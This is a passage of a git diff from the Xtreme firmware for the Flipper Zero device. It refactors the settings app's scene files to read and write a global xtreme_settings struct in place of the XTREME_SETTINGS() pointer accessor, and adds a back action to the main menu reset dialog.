anim_speed_names[index]); - XTREME_SETTINGS()->anim_speed = anim_speed_values[index]; + xtreme_settings.anim_speed = anim_speed_values[index]; app->save_settings = true; } @@ -97,7 +97,7 @@ static void xtreme_app_scene_interface_graphics_cycle_anims_changed(VariableItem XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, cycle_anims_names[index]); - XTREME_SETTINGS()->cycle_anims = cycle_anims_values[index]; + xtreme_settings.cycle_anims = cycle_anims_values[index]; app->save_settings = true; } @@ -105,7 +105,7 @@ static void xtreme_app_scene_interface_graphics_unlock_anims_changed(VariableIte XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->unlock_anims = value; + xtreme_settings.unlock_anims = value; app->save_settings = true; } @@ -113,13 +113,12 @@ static void xtreme_app_scene_interface_graphics_fallback_anim_changed(VariableIt XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->fallback_anim = value; + xtreme_settings.fallback_anim = value; app->save_settings = true; } void xtreme_app_scene_interface_graphics_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; uint8_t value_index; @@ -144,7 +143,7 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { xtreme_app_scene_interface_graphics_anim_speed_changed, app); value_index = value_index_uint32( - xtreme_settings->anim_speed, anim_speed_values, COUNT_OF(anim_speed_values)); + xtreme_settings.anim_speed, anim_speed_values, COUNT_OF(anim_speed_values)); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, anim_speed_names[value_index]); @@ -155,7 +154,7 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { xtreme_app_scene_interface_graphics_cycle_anims_changed, app); value_index = value_index_int32( - xtreme_settings->cycle_anims, cycle_anims_values, COUNT_OF(cycle_anims_values)); + xtreme_settings.cycle_anims, cycle_anims_values, COUNT_OF(cycle_anims_values)); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, cycle_anims_names[value_index]); @@ -165,8 +164,8 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { 2, xtreme_app_scene_interface_graphics_unlock_anims_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->unlock_anims); - variable_item_set_current_value_text(item, xtreme_settings->unlock_anims ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.unlock_anims); + variable_item_set_current_value_text(item, xtreme_settings.unlock_anims ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -174,8 +173,8 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { 2, xtreme_app_scene_interface_graphics_fallback_anim_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->fallback_anim); - variable_item_set_current_value_text(item, xtreme_settings->fallback_anim ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.fallback_anim); + variable_item_set_current_value_text(item, xtreme_settings.fallback_anim ? "ON" : "OFF"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_interface_graphics_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c index b949b0410..4a7b60aac 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c @@ -20,7 +20,7 @@ static void xtreme_app_scene_interface_lockscreen_lock_on_boot_changed(VariableI XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lock_on_boot = value; + xtreme_settings.lock_on_boot = value; app->save_settings = true; } @@ -28,7 +28,7 @@ static void xtreme_app_scene_interface_lockscreen_bad_pins_format_changed(Variab XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->bad_pins_format = value; + xtreme_settings.bad_pins_format = value; app->save_settings = true; } @@ -37,7 +37,7 @@ static void XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->allow_locked_rpc_commands = value; + xtreme_settings.allow_locked_rpc_commands = value; app->save_settings = true; } @@ -45,7 +45,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_time_changed(Variab XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lockscreen_time = value; + xtreme_settings.lockscreen_time = value; app->save_settings = true; } @@ -53,7 +53,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_seconds_changed(Var XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lockscreen_seconds = value; + xtreme_settings.lockscreen_seconds = value; app->save_settings = true; } @@ -61,7 +61,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_date_changed(Variab XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lockscreen_date = value; + xtreme_settings.lockscreen_date = value; app->save_settings = true; } @@ -70,7 +70,7 @@ static void XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lockscreen_statusbar = value; + xtreme_settings.lockscreen_statusbar = value; app->save_settings = true; } @@ -78,7 +78,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_prompt_changed(Vari XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lockscreen_prompt = value; + xtreme_settings.lockscreen_prompt = value; app->save_settings = true; } @@ -87,13 +87,12 @@ static void XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->lockscreen_transparent = value; + xtreme_settings.lockscreen_transparent = value; app->save_settings = true; } void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; @@ -103,8 +102,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lock_on_boot_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lock_on_boot); - variable_item_set_current_value_text(item, xtreme_settings->lock_on_boot ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.lock_on_boot); + variable_item_set_current_value_text(item, xtreme_settings.lock_on_boot ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -112,8 +111,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_bad_pins_format_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->bad_pins_format); - variable_item_set_current_value_text(item, xtreme_settings->bad_pins_format ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.bad_pins_format); + variable_item_set_current_value_text(item, xtreme_settings.bad_pins_format ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -121,9 +120,9 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_allow_locked_rpc_commands_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->allow_locked_rpc_commands); + variable_item_set_current_value_index(item, xtreme_settings.allow_locked_rpc_commands); variable_item_set_current_value_text( - item, xtreme_settings->allow_locked_rpc_commands ? "ON" : "OFF"); + item, xtreme_settings.allow_locked_rpc_commands ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -131,8 +130,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lockscreen_time_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lockscreen_time); - variable_item_set_current_value_text(item, xtreme_settings->lockscreen_time ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.lockscreen_time); + variable_item_set_current_value_text(item, xtreme_settings.lockscreen_time ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -140,8 +139,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lockscreen_seconds_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lockscreen_seconds); - variable_item_set_current_value_text(item, xtreme_settings->lockscreen_seconds ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.lockscreen_seconds); + variable_item_set_current_value_text(item, xtreme_settings.lockscreen_seconds ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -149,8 +148,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lockscreen_date_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lockscreen_date); - variable_item_set_current_value_text(item, xtreme_settings->lockscreen_date ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.lockscreen_date); + variable_item_set_current_value_text(item, xtreme_settings.lockscreen_date ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -158,9 +157,9 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lockscreen_statusbar_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lockscreen_statusbar); + variable_item_set_current_value_index(item, xtreme_settings.lockscreen_statusbar); variable_item_set_current_value_text( - item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF"); + item, xtreme_settings.lockscreen_statusbar ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -168,8 +167,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lockscreen_prompt_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lockscreen_prompt); - variable_item_set_current_value_text(item, xtreme_settings->lockscreen_prompt ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.lockscreen_prompt); + variable_item_set_current_value_text(item, xtreme_settings.lockscreen_prompt ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -177,9 +176,9 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { 2, xtreme_app_scene_interface_lockscreen_lockscreen_transparent_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->lockscreen_transparent); + variable_item_set_current_value_index(item, xtreme_settings.lockscreen_transparent); variable_item_set_current_value_text( - item, xtreme_settings->lockscreen_transparent ? "ON" : "OFF"); + item, xtreme_settings.lockscreen_transparent ? "ON" : "OFF"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_interface_lockscreen_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c index b72c8062e..d9f973790 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c @@ -29,7 +29,7 @@ static void xtreme_app_scene_interface_mainmenu_menu_style_changed(VariableItem* XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, menu_style_names[index]); - XTREME_SETTINGS()->menu_style = index; + xtreme_settings.menu_style = index; app->save_settings = true; } @@ -68,7 +68,6 @@ static void xtreme_app_scene_interface_mainmenu_move_app_changed(VariableItem* i void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; @@ -78,8 +77,8 @@ void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { MenuStyleCount, xtreme_app_scene_interface_mainmenu_menu_style_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->menu_style); - variable_item_set_current_value_text(item, menu_style_names[xtreme_settings->menu_style]); + variable_item_set_current_value_index(item, xtreme_settings.menu_style); + variable_item_set_current_value_text(item, menu_style_names[xtreme_settings.menu_style]); variable_item_list_add(var_item_list, "Reset Menu", 0, NULL, app); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c index 625cd1f88..c797ff288 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c @@ -37,6 +37,9 @@ bool xtreme_app_scene_interface_mainmenu_reset_on_event(void* context, SceneMana app->require_reboot = true; xtreme_app_apply(app); break; + case DialogExResultLeft: + scene_manager_previous_scene(app->scene_manager); + break; default: break; } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c index 953c08c95..b29269631 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c @@ -26,7 +26,7 @@ static void xtreme_app_scene_interface_statusbar_battery_icon_changed(VariableIt XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, battery_icon_names[index]); - XTREME_SETTINGS()->battery_icon = index; + xtreme_settings.battery_icon = index; app->save_settings = true; power_set_battery_icon_enabled(furi_record_open(RECORD_POWER), index != BatteryIconOff); furi_record_close(RECORD_POWER); @@ -36,7 +36,7 @@ static void xtreme_app_scene_interface_statusbar_statusbar_clock_changed(Variabl XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->statusbar_clock = value; + xtreme_settings.statusbar_clock = value; app->save_settings = true; } @@ -44,7 +44,7 @@ static void xtreme_app_scene_interface_statusbar_status_icons_changed(VariableIt XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->status_icons = value; + xtreme_settings.status_icons = value; app->save_settings = true; } @@ -52,7 +52,7 @@ static void xtreme_app_scene_interface_statusbar_bar_borders_changed(VariableIte XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->bar_borders = value; + xtreme_settings.bar_borders = value; app->save_settings = true; } @@ -60,13 +60,12 @@ static void xtreme_app_scene_interface_statusbar_bar_background_changed(Variable XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->bar_background = value; + xtreme_settings.bar_background = value; app->save_settings = true; } void xtreme_app_scene_interface_statusbar_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; @@ -76,8 +75,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { BatteryIconCount, xtreme_app_scene_interface_statusbar_battery_icon_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->battery_icon); - variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings->battery_icon]); + variable_item_set_current_value_index(item, xtreme_settings.battery_icon); + variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings.battery_icon]); item = variable_item_list_add( var_item_list, @@ -85,8 +84,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { 2, xtreme_app_scene_interface_statusbar_statusbar_clock_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->statusbar_clock); - variable_item_set_current_value_text(item, xtreme_settings->statusbar_clock ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.statusbar_clock); + variable_item_set_current_value_text(item, xtreme_settings.statusbar_clock ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -94,8 +93,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { 2, xtreme_app_scene_interface_statusbar_status_icons_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->status_icons); - variable_item_set_current_value_text(item, xtreme_settings->status_icons ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.status_icons); + variable_item_set_current_value_text(item, xtreme_settings.status_icons ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -103,8 +102,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { 2, xtreme_app_scene_interface_statusbar_bar_borders_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->bar_borders); - variable_item_set_current_value_text(item, xtreme_settings->bar_borders ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.bar_borders); + variable_item_set_current_value_text(item, xtreme_settings.bar_borders ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, @@ -112,8 +111,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { 2, xtreme_app_scene_interface_statusbar_bar_background_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->bar_background); - variable_item_set_current_value_text(item, xtreme_settings->bar_background ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.bar_background); + variable_item_set_current_value_text(item, xtreme_settings.bar_background ? "ON" : "OFF"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_interface_statusbar_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index 677bebe8f..8b74d2bb8 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -20,13 +20,12 @@ static void xtreme_app_scene_misc_charge_cap_changed(VariableItem* item) { uint32_t value = (variable_item_get_current_value_index(item) + 1) * CHARGE_CAP_INTV; snprintf(cap_str, 6, "%lu%%", value); variable_item_set_current_value_text(item, cap_str); - XTREME_SETTINGS()->charge_cap = value; + xtreme_settings.charge_cap = value; app->save_settings = true; } void xtreme_app_scene_misc_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; uint8_t value_index; @@ -40,7 +39,7 @@ void xtreme_app_scene_misc_on_enter(void* context) { variable_item_list_add(var_item_list, "Change Device Name", 0, NULL, app); char cap_str[6]; - value_index = xtreme_settings->charge_cap / CHARGE_CAP_INTV; + value_index = xtreme_settings.charge_cap / CHARGE_CAP_INTV; snprintf(cap_str, 6, "%lu%%", (uint32_t)value_index * CHARGE_CAP_INTV); item = variable_item_list_add( var_item_list, diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_dolphin.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_dolphin.c index e4d344e09..06881e629 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_dolphin.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_dolphin.c @@ -57,14 +57,13 @@ static void xtreme_app_scene_misc_dolphin_butthurt_timer_changed(VariableItem* i XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, butthurt_timer_names[index]); - XTREME_SETTINGS()->butthurt_timer = butthurt_timer_values[index]; + xtreme_settings.butthurt_timer = butthurt_timer_values[index]; app->save_settings = true; app->require_reboot = true; } void xtreme_app_scene_misc_dolphin_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; uint8_t value_index; @@ -98,7 +97,7 @@ void xtreme_app_scene_misc_dolphin_on_enter(void* context) { xtreme_app_scene_misc_dolphin_butthurt_timer_changed, app); value_index = value_index_uint32( - xtreme_settings->butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_values)); + xtreme_settings.butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_values)); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_screen.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_screen.c index 8f8a2bef5..e58236102 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_screen.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc_screen.c @@ -22,7 +22,7 @@ static void xtreme_app_scene_misc_screen_dark_mode_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->dark_mode = value; + xtreme_settings.dark_mode = value; app->save_settings = true; } @@ -140,15 +140,14 @@ static void xtreme_app_scene_misc_screen_rainbow_saturation_changed(VariableItem void xtreme_app_scene_misc_screen_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; uint8_t value_index; item = variable_item_list_add( var_item_list, "Dark Mode", 2, xtreme_app_scene_misc_screen_dark_mode_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->dark_mode); - variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.dark_mode); + variable_item_set_current_value_text(item, xtreme_settings.dark_mode ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, "Left Handed", 2, xtreme_app_scene_misc_screen_hand_orient_changed, app); @@ -157,7 +156,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) { variable_item_set_current_value_text(item, value ? "ON" : "OFF"); item = variable_item_list_add(var_item_list, "RGB Backlight", 1, NULL, app); - variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); + variable_item_set_current_value_text(item, xtreme_settings.rgb_backlight ? "ON" : "OFF"); struct { uint8_t led; @@ -190,7 +189,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) { snprintf(str, sizeof(str), "%02X%02X%02X", color.r, color.g, color.b); variable_item_set_current_value_text(item, str); } - variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); + variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!"); } item = variable_item_list_add( @@ -202,7 +201,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) { value_index = rgb_backlight_get_rainbow_mode(); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, rainbow_lcd_names[value_index]); - variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); + variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!"); item = variable_item_list_add( var_item_list, @@ -215,7 +214,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) { char speed_str[4]; snprintf(speed_str, sizeof(speed_str), "%d", value_index); variable_item_set_current_value_text(item, speed_str); - variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); + variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!"); item = variable_item_list_add( var_item_list, @@ -229,7 +228,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) { COUNT_OF(rainbow_interval_values)); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, rainbow_interval_names[value_index]); - variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); + variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!"); item = variable_item_list_add( var_item_list, @@ -242,7 +241,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) { char saturation_str[4]; snprintf(saturation_str, sizeof(saturation_str), "%d", value_index); variable_item_set_current_value_text(item, saturation_str); - variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); + variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_misc_screen_var_item_list_callback, app); @@ -263,7 +262,7 @@ bool xtreme_app_scene_misc_screen_on_event(void* context, SceneManagerEvent even consumed = true; switch(event.event) { case VarItemListIndexRgbBacklight: { - bool change = XTREME_SETTINGS()->rgb_backlight; + bool change = xtreme_settings.rgb_backlight; if(!change) { DialogMessage* msg = dialog_message_alloc(); dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); @@ -281,11 +280,11 @@ bool xtreme_app_scene_misc_screen_on_event(void* context, SceneManagerEvent even dialog_message_free(msg); } if(change) { - XTREME_SETTINGS()->rgb_backlight = !XTREME_SETTINGS()->rgb_backlight; + xtreme_settings.rgb_backlight = !xtreme_settings.rgb_backlight; app->save_settings = true; app->save_backlight = true; notification_message(app->notification, &sequence_display_backlight_on); - rgb_backlight_reconfigure(XTREME_SETTINGS()->rgb_backlight); + rgb_backlight_reconfigure(xtreme_settings.rgb_backlight); scene_manager_previous_scene(app->scene_manager); scene_manager_next_scene(app->scene_manager, XtremeAppSceneMiscScreen); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols.c index 5912d1e80..ccf8e2a34 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols.c @@ -17,7 +17,7 @@ static void xtreme_app_scene_protocols_bad_bt_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "BT" : "USB"); - XTREME_SETTINGS()->bad_bt = value; + xtreme_settings.bad_bt = value; app->save_settings = true; } @@ -25,7 +25,7 @@ static void xtreme_app_scene_protocols_bad_bt_remember_changed(VariableItem* ite XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->bad_bt_remember = value; + xtreme_settings.bad_bt_remember = value; app->save_settings = true; } @@ -38,14 +38,13 @@ static void xtreme_app_scene_protocols_subghz_extend_changed(VariableItem* item) void xtreme_app_scene_protocols_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; item = variable_item_list_add( var_item_list, "BadKB Mode", 2, xtreme_app_scene_protocols_bad_bt_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->bad_bt); - variable_item_set_current_value_text(item, xtreme_settings->bad_bt ? "BT" : "USB"); + variable_item_set_current_value_index(item, xtreme_settings.bad_bt); + variable_item_set_current_value_text(item, xtreme_settings.bad_bt ? "BT" : "USB"); item = variable_item_list_add( var_item_list, @@ -53,8 +52,8 @@ void xtreme_app_scene_protocols_on_enter(void* context) { 2, xtreme_app_scene_protocols_bad_bt_remember_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->bad_bt_remember); - variable_item_set_current_value_text(item, xtreme_settings->bad_bt_remember ? "ON" : "OFF"); + variable_item_set_current_value_index(item, xtreme_settings.bad_bt_remember); + variable_item_set_current_value_text(item, xtreme_settings.bad_bt_remember ? "ON" : "OFF"); item = variable_item_list_add(var_item_list, "SubGHz Freqs", 0, NULL, app); variable_item_set_current_value_text(item, ">"); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_gpio.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_gpio.c index 76bb03f75..2921fa30b 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_gpio.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_gpio.c @@ -15,52 +15,51 @@ void xtreme_app_scene_protocols_gpio_var_item_list_callback(void* context, uint3 static void xtreme_app_scene_protocols_gpio_cc1101_handle_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - XTREME_SETTINGS()->spi_cc1101_handle = + xtreme_settings.spi_cc1101_handle = variable_item_get_current_value_index(item) == 0 ? SpiDefault : SpiExtra; variable_item_set_current_value_text( - item, XTREME_SETTINGS()->spi_cc1101_handle == SpiDefault ? "Default" : "Extra"); + item, xtreme_settings.spi_cc1101_handle == SpiDefault ? "Default" : "Extra"); app->save_settings = true; } static void xtreme_app_scene_protocols_gpio_nrf24_handle_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - XTREME_SETTINGS()->spi_nrf24_handle = + xtreme_settings.spi_nrf24_handle = variable_item_get_current_value_index(item) == 0 ? SpiDefault : SpiExtra; variable_item_set_current_value_text( - item, XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? "Default" : "Extra"); + item, xtreme_settings.spi_nrf24_handle == SpiDefault ? "Default" : "Extra"); app->save_settings = true; } static void 